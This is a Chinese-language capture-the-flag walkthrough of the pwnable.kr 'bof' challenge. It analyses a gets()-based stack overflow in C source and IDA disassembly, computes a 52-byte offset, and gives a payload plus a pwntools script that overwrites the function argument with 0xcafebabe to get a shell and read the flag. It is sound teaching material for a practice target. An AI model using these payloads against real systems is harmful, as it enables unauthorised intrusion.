打开题目审题
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
Nana告诉我缓冲区溢出是最常见的软件漏洞之一。
nc 命令介绍
https://www.cnblogs.com/nmap/p/6148306.html 具体内容该博客讲的很详细
nc pwnable.kr 9000
简单来说该命令就是和 服务器9000端口交互,命令打开不难发现该端口执行的就是bof。
获取服务器文件
第一种方式:
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
题目中已经给出了链接,直接在浏览器中打开右键另存为即可。
第二种方式:
使用 wget 命令
wget http://pwnable.kr/bin/bof
wget http://pwnable.kr/bin/bof.c
源代码分析
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
很好懂,基本就是输入一个overflow字符串 这个字符串要让main调用func时传入的参数
0xdeadbeef
和0xcafebabe
相同,这时我们才能够切换到命令行模式获取flag。
题目已经有提示了,缓冲区溢出,那如何构造payload呢。上ida。
源码没什么看头,这里已经要开始分析内存了。
ELF分析构造payload
看下该文件类型
D:\Desktop>file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
32位的ELF文件,用ida打开。
F5反编译一下可得func:
IDA pseudocode
unsigned int __cdecl func(int a1)
{
char s; // [esp+1Ch] [ebp-2Ch]
unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
puts("overflow me : ");
gets(&s);
if ( a1 == -889275714 )
system("/bin/sh");
else
puts("Nah..");
return __readgsdword(0x14u) ^ v3;
}
看注释可以看到
程序调用gets获取字符串s [esp+1Ch] [ebp-2Ch] 和传入的参数 a1 [esp+3Ch] [ebp-Ch] 比较。
IDA disassemable:
.text:0000062C public func
.text:0000062C func proc near ; CODE XREF: main+10↓p
.text:0000062C
.text:0000062C s = byte ptr -2Ch
.text:0000062C var_C = dword ptr -0Ch
.text:0000062C arg_0 = dword ptr 8
.text:0000062C
.text:0000062C ; __unwind {
.text:0000062C push ebp
.text:0000062D mov ebp, esp
.text:0000062F sub esp, 48h
.text:00000632 mov eax, large gs:14h
.text:00000638 mov [ebp+var_C], eax
.text:0000063B xor eax, eax
.text:0000063D mov dword ptr [esp], offset s ; "overflow me : "
.text:00000644 call puts
.text:00000649 lea eax, [ebp+s]
.text:0000064C mov [esp], eax ; s
.text:0000064F call gets
.text:00000654 cmp [ebp+arg_0], 0CAFEBABEh
.text:0000065B jnz short loc_66B
.text:0000065D mov dword ptr [esp], offset command ; "/bin/sh"
.text:00000664 call system
.text:00000669 jmp short loc_677
很简单,其实就是覆盖掉参数,计算偏移量即可
cmp [ebp+arg_0], 0CAFEBABEh
参数key的位置是[ebp+arg_0]
arg_0= dword ptr 8
可知,参数key的位置是 [ebp+8]
然后,char s; // [esp+1Ch] [ebp-2Ch] 可知overflow(即s)的位置就是 [ebp-2Ch]
我们需要输入overflow 覆盖掉 原来的参数即可。覆盖为0CAFEBABEh
。
构造payload那就是:
52*'A' + "\xbe\xba\xfe\xca"
A 可以是任意字符。下图可以看到是低地址存放低位,小端模式。我们从 [ebp-2Ch]
写到 [ebp+8]
。
从小端写,所以是"\xbe\xba\xfe\xca"
关于ebp,放张图:
解题
需要使用pwn模块
这种方式就不需要考虑大小端问题了,函数会解决。
bof.py
import pwn
r = pwn.remote('pwnable.kr',9000)
r.send('a'*52+str(pwn.p32(0xcafebabe)))
r.interactive()
'a'*52+pwn.p32(0xcafebabe) = 'A'*0x34+'\xBE\xBA\xFE\xCA'
运行即可。
$ ls -la
total 52504
drwxr-x--- 3 root bof 4096 Oct 23 2016 .
drwxr-xr-x 87 root root 4096 Dec 27 23:17 ..
d--------- 2 root root 4096 Jun 12 2014 .bash_history
-r-xr-x--- 1 root bof 7348 Sep 12 2016 bof
-rw-r--r-- 1 root root 308 Oct 23 2016 bof.c
-r--r----- 1 root bof 32 Jun 11 2014 flag
-rw------- 1 root root 53726989 Jun 26 18:23 log
-rw-r--r-- 1 root root 0 Oct 23 2016 log2
-rwx------ 1 root root 760 Sep 10 2014 super.pl
$ cat flag
daddy, I just pwned a buFFer :)
daddy, I just pwned a buFFer :)
获得flag
参考: